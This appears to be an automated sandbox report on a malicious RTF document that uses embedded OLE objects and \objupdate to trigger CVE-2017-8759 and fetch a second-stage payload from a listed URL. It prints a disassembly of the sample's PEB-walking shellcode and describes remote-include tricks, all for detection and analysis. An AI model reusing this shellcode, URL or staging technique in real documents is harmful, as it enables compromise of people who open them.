RTF malware analysis — malicious · 3618a361ad124ca8

MALICIOUS

RTF

245.9 KB Created: 2017-12-18 11:56:00 First seen: 2017-12-24

MD5: c7f3f2fa16c587f579716dd15113c70a SHA-1: 34d3fe89ea0bba8a56f01c400750e0d83e2f6f98 SHA-256: 3618a361ad124ca8df64e36b8e47c0230e57ea811a68d71f654b832a1cc83f97

262 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution

The RTF document contains embedded OLE objects and uses \objupdate to force OLE activation, triggering CVE-2017-8759. This vulnerability is used to download a second-stage payload from the URL http://todpot.tk/0346/t.php?stats=send&thread=0. The ClamAV detection Rtf.Downloader.CVE_2017-6336326-3 further confirms its malicious downloader nature.

Heuristics 7

CVE-2017-8759 — MSXML SAX OLE activation critical CVE likely CVE_2017_8759

RTF contains a hex-encoded OLE1 object for Msxml2.SAXXMLReader.6.0 followed by an embedded OLE compound document, and the document requests OLE activation. This matches the RTF staging shape used for CVE-2017-8759 SOAP/WSDL parser code injection.
ClamAV: Rtf.Downloader.CVE_2017-6336326-3 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Rtf.Downloader.CVE_2017-6336326-3

PEB access via FS segment (x86) high SC_PEB_ACCESS

PEB access via FS segment (x86)

Disassembly

Attempted x86 opcode disassembly

00013784  64a130000000      mov eax, dword ptr fs:[0x30]
0001378A  56                push esi
0001378B  be05000000        mov esi, 5
00013790  5e                pop esi
00013791  8b400c            mov eax, dword ptr [eax + 0xc]
00013794  9b                wait
00013795  8b4014            mov eax, dword ptr [eax + 0x14]
00013798  90                nop
00013799  8b4014            mov eax, dword ptr [eax + 0x14]
0001379C  56                push esi
0001379D  be96000000        mov esi, 0x96
000137A2  5e                pop esi
000137A3  48                dec eax
000137A4  668138ff25        cmp word ptr [eax], 0x25ff
000137A9  75f8              jne 0x137a3
000137AB  56                push esi
000137AC  be4f000000        mov esi, 0x4f
000137B1  5e                pop esi
000137B2  8b4002            mov eax, dword ptr [eax + 2]
000137B5  9b                wait
000137B6  8b00              mov eax, dword ptr [eax]
000137B8  83e801            sub eax, 1
000137BB  83c001            add eax, 1
000137BE  40                inc eax
000137BF  bb0c247c8b        mov ebx, 0x8b7c240c
000137C4  0fcb              bswap ebx
000137C6  3918              cmp dword ptr [eax], ebx
000137C8  75f4              jne 0x137be
000137CA  81780485ff7c08    cmp dword ptr [eax + 4], 0x87cff85
000137D1  75eb              jne 0x137be
000137D3  90                nop
000137D4  83e802            sub eax, 2
000137D7  e9fa000000        jmp 0x138d6
000137DC  0000              add byte ptr [eax], al
000137DE  0000              add byte ptr [eax], al
000137E0  0000              add byte ptr [eax], al
000137E2  0000              add byte ptr [eax], al

\objupdate forces OLE activation high RTF_OBJUPDATE

RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
INCLUDETEXT/INCLUDEPICTURE remote URL high RTF_INCLUDE_REMOTE

RTF document uses INCLUDETEXT or INCLUDEPICTURE with an http:// URL — Word can fetch the remote content on open depending on Office version and external-content settings, enabling remote template injection, NTLM capture via redirects, or payload delivery
OLE object data medium RTF_OBJDATA

RTF contains 2 \objdata section(s) — embedded OLE objects
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://todpot.tk/0346/t.php?stats=send&thread=0 In RTF body
- http://schemas.microsoft.com/office/word/2003/wordmlIn RTF body

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`objdata_00_off0000c568.bin`	rtf-objdata-decoded	RTF \objdata at offset 0xC568	2598 bytes
SHA-256: `958c6a347deec34fdbed67e065f04e9c575f0e13a93ace15782bd6899a1c92b4`
`objdata_01_off0000dc96.bin`	rtf-objdata-decoded	RTF \objdata at offset 0xDC96	2723 bytes
SHA-256: `0434dece3b60573ec8eb06a6a1d5a15200f352756c38de5d8672232bb14b3ada`

Open this report in the interactive analyzer, or submit your own file for analysis.